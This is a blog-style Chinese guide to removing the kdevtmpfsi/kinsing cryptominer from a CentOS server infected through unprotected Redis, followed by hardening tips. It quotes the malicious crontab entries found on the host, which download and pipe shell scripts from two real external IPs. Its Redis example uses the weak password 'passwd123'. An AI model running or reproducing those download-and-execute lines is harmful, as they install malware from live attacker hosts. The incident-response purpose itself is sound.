Linux Centos 7 环境下的一台服务器CPU直接被打满,上服务器 top 命令看到了一个未知的 kdevtmpfsi 疯狂占用中,情况如下图:

网上搜索了一下 kdevtmpfsi 是一个挖矿病毒,大多数都是 redis 程序侵入,而且受害者还不少,通常比较明显就是 占用高额的CPU、内存资源。

问题原因:

阿里云公布的威胁快报:https://yq.aliyun.com/articles/741602

Redis RCE导致h2Miner蠕虫病毒,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。

问题解决:

第一步cd 命令切换到自己 Redis 的安装目录下,然后删除该目录下的 red2.so 文件以及以 kinsing 开头的所有文件。

第二步crontab -l 命令先看看 crontab 的定时任务列表

[root@VM-0-9-centos /]# crontab -l
* * * * * wget -q -O - http://91.241.20.134/scg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://185.191.32.198/scg.sh | sh > /dev/null 2>&1

因为我这台服务器根本没设置过 crontab 定时任务,而且这是两个国外(伊朗,俄罗斯)的陌生IP,所以可以断定这就是罪魁祸首。

第三步crontab -e 命令进行定时任务编辑(该步骤很重要),去除陌生的定时任务(要求在root用户下),在打开的文本中,按 i 进行编辑删除,编辑完后按Esc退出键退出编辑,再输入 :wq 强制性写入文件并退出。

[root@VM-0-9-centos /]# crontab -e

第四步ps -ef|grep kdevtmpfsi  命令查看 kdevtmpfsi 进程,并且使用 kill -9 PID 杀死kdevtmpfsi 对应的进程

[root@VM-0-9-centos /]#  ps -ef |grep kdevtmpfsi
root     40422     1 99 10:16 ?        01:01:16 /tmp/kdevtmpfsi
root     60879 60813  0 10:24 pts/4    00:00:00 grep --color=auto kdevtmpfsi
[root@VM-0-9-centos /]# 
[root@VM-0-9-centos /]#  kill -9 40422
[root@VM-0-9-centos /]# 

第五步ps -ef|grep kinsing  命令查看kdevtmpfsi程序的守护进程kinsing  ,并且使用 kill -9 PID 杀死对应的进程

[root@VM-0-9-centos /]#  ps -ef |grep kinsing
root     38560     1  0 10:15 ?        00:00:01 /var/tmp/kinsing
root     62455 60813  0 10:26 pts/4    00:00:00 grep --color=auto kinsing
[root@VM-0-9-centos /]# 
[root@VM-0-9-centos /]#  kill -9 38560
[root@VM-0-9-centos /]# 

第六步find / -iname kdevtmpfsi 命令再次确定kdevtmpfsi文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序

[root@VM-0-9-centos /]# find / -iname kdevtmpfsi
/tmp/kdevtmpfsi
[root@VM-0-9-centos /]# rm -rf /tmp/kdevtmpfsi
[root@VM-0-9-centos /]#

第七步find / -iname kinsing 命令再次确定 kinsing 文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序

[root@VM-0-9-centos /]# find / -iname kinsing
/var/tmp/kinsing
[root@VM-0-9-centos /]# rm -rf /var/tmp/kinsing
或者像第一步一样(删除kinsing开头全部相关文件)
[root@VM-0-9-centos /]# find / -name "kinsing*" | xargs rm -rf

第八步cat ~/.ssh/authorized_keys 查看是否有陌生的的公钥,有则删除掉,

问题防护

  • 异常的IP地址,入站及出站全部封禁
  • 不定期更新 Redis 服务密码,禁止使用默认端口,非必要不暴露在公网或绑定指定IP
  • 启用ssh公钥登陆,禁用密码登陆。
  • 完善安全策略,入口流量,非必要一般只开放 80 443 端口就行,出口流量默认可以不限制,如果有需要根据需求来限制。
  • 防火墙能用的尽量用起来,有条件可以上付费的。

经过几天的观察,服务器运行正常。

废话不多说,直接开始清理
找到矿毒进程
ps -aux | grep kinsing
ps -aux | grep kdevtmpfsi

杀死进程:
kill -9 PID (杀死两个)

删除Linux下的异常定时任务
crontab -l //查看定时任务
crontab -r //表示删除用户的定时任务,当执行此命令后,所有用户下面的定时任务会被删除

删除文件
rm -rf kdevtmpfsi 
rm -rf /var/tmp/kinsing  
最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除
find / -name kdevtmpfsi
find / -name kinsing

这一步很重要,很多博主没写:
这个病毒会在你的主机密钥中加入他们的公钥,这是他们留了后门的钥匙,可以免密登录你的电脑
vim ~/.ssh/authorized_keys  //打开文件后删除不认识的公钥

保险:如果CPU还是高速运转,你只需重复第一步即刻,因为它的威胁文件被我删除了,如果还在跑我们清理
进程,就不会再有了,
预防:
这个病毒大多数都是通过你的redis 程序侵入的,你只需要配置,所以你要配置你的redis配置文件

设置你的这两个密码:
masterauth passwd123 
requirepass passwd123 

绑定访问IP
bind 你的访问IP